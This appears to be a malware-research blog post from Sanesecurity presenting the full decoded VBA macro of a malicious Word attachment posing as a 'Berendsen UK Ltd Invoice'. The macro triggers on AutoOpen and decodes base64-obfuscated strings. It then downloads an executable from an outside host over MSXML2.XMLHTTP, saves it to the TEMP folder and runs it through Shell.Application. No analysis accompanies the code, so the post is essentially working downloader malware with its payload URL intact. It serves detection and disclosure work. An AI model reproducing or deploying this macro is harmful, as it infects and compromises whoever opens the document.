Berendsen UK Ltd Invoice 1 decoded

Sanesecurity ClamAV blog: zero hour malware, phishing and scams
A hopefully interesting blog from the world of zero hour malware, phishing, scams and spams
http://sanesecurity.blogspot.co.uk/

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const QfmDLcA = "aHR0cDovL2VsZWt0cm9tYXJrZXQuY2JhLnBsL2pzL2Jpbi5leGU="
Private Const bkRp4EmIEHl = "XExBVlVCREFKTENELmV4ZQ=="
Private Const oOUPR = "VEVNUA=="
Private Const QoXvtVUK = "U2hlbGwuQXBwbGljYXRpb24="
Private Const gmgiLh = "Z2ZoZGZnc2Rn"
Private Const Lh2UI8IfTSJJ = "R0VU"
Private Const JTWAlwSMB = "TVNYTUwyLlhNTEhUVFA="
Private aDecTab(255) As Integer
Private Const YHg = "="
Private Const SEQjeSufc = "/"
Private Const jNv8XFecDC = "+"
Private Const dNCBqqiwE = "9"
Private Const ePZeX = "0"
Private Const OMm60OhvoT = "z"
Private Const hnEMr0yp = "a"
Private Const lka4A = "Z"
Private Const OHtV = "A"
Private Const Iav = " "

Sub NsCi()
 e2UWZEpCVQ
End Sub
Sub JyXsorj()
     NsCi
End Sub
Sub autoopen()
     NsCi
End Sub
Function XPBNSN(ByVal ADLSYXKPREO As String, ByVal IKDBZPEAYPQ As String) As Boolean
     Dim XJVojlA6AlK As Long, MQVWCEBVJCH As Long, KEXFJZFKHXC() As Byte

    Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
    ZNMPYFFKHMF.Open IWF0II4a(Lh2UI8IfTSJJ), ADLSYXKPREO, False
    ZNMPYFFKHMF.Send IWF0II4a(gmgiLh)


    KEXFJZFKHXC = ZNMPYFFKHMF.responseBody

    MQVWCEBVJCH = FreeFile
    Open IKDBZPEAYPQ For Binary Access Write As #MQVWCEBVJCH
    Put #MQVWCEBVJCH, , KEXFJZFKHXC
    Close #MQVWCEBVJCH

Set sdfsdfsdf = CreateObject(IWF0II4a(QoXvtVUK))
sdfsdfsdf.Open Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
End Function
Sub e2UWZEpCVQ()
BHngijbjfdv = Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
sdnfhuijk = IWF0II4a(QfmDLcA)
     XPBNSN sdnfhuijk, BHngijbjfdv
End Sub


Public Function IWF0II4a(sEncoded As String) As String
Dim p8OROg2Ya As String
Dim d(3) As Byte
Dim C As Byte
Dim di As Integer
Dim i As Long
Dim SYTVw3OVtcQ As Long
Dim MILoam1NHP As Long
SYTVw3OVtcQ = Len(sEncoded)
p8OROg2Ya = String((SYTVw3OVtcQ \ 4) * 3, Iav)
MILoam1NHP = 0
di = 0
Call LEqE
' Read in each char in trun
For i = 1 To Len(sEncoded)
C = CByte(Asc(Mid(sEncoded, i, 1)))
C = aDecTab(C)
If C >= 0 Then
d(di) = C
di = di + 1
If di = 4 Then
Mid$(p8OROg2Ya, MILoam1NHP + 1, 3) = c3IyL8a(d)
MILoam1NHP = MILoam1NHP + 3
If d(3) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
If d(2) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
di = 0
End If
End If
Next i
 IWF0II4a = p8OROg2Ya
End Function
Private Function c3IyL8a(d() As Byte) As String
Dim C2OurROpo As String
Dim C As Long
C2OurROpo = vbNullString
C = ihX4AO6OBJbw(d(0)) Or (anfuBRZrOy(d(1)) And &H3)
C2OurROpo = C2OurROpo & Chr$(C)
C = s4OLJjiY(d(1) And &HF) Or (D2ULJbG1EKA(d(2)) And &HF)
C2OurROpo = C2OurROpo & Chr$(C)
C = jyQ(d(2) And &H3) Or d(3)
C2OurROpo = C2OurROpo & Chr$(C)
 c3IyL8a = C2OurROpo
End Function
Private Function LEqE()
Dim t As Integer
Dim C As Integer
For C = 0 To 255
aDecTab(C) = -1
Next
t = 0
For C = Asc(OHtV) To Asc(lka4A)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(hnEMr0yp) To Asc(OMm60OhvoT)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(ePZeX) To Asc(dNCBqqiwE)
aDecTab(C) = t
t = t + 1
Next
C = Asc(jNv8XFecDC)
aDecTab(C) = t
t = t + 1
C = Asc(SEQjeSufc)
aDecTab(C) = t
t = t + 1
C = Asc(YHg)
aDecTab(C) = t  ' should be 64
End Function
Private Function ihX4AO6OBJbw(ByVal bytValue As Byte) As Byte
 ihX4AO6OBJbw = (bytValue * &H4) And &HFF
End Function
Private Function s4OLJjiY(ByVal bytValue As Byte) As Byte
 s4OLJjiY = (bytValue * &H10) And &HFF
End Function
Private Function jyQ(ByVal bytValue As Byte) As Byte
 jyQ = (bytValue * &H40) And &HFF
End Function
Private Function D2ULJbG1EKA(ByVal bytValue As Byte) As Byte
 D2ULJbG1EKA = bytValue \ &H4
End Function
Private Function anfuBRZrOy(ByVal bytValue As Byte) As Byte
 anfuBRZrOy = bytValue \ &H10
End Function
Private Function o5ULA(ByVal bytValue As Byte) As Byte
 o5ULA = bytValue \ &H40
End Function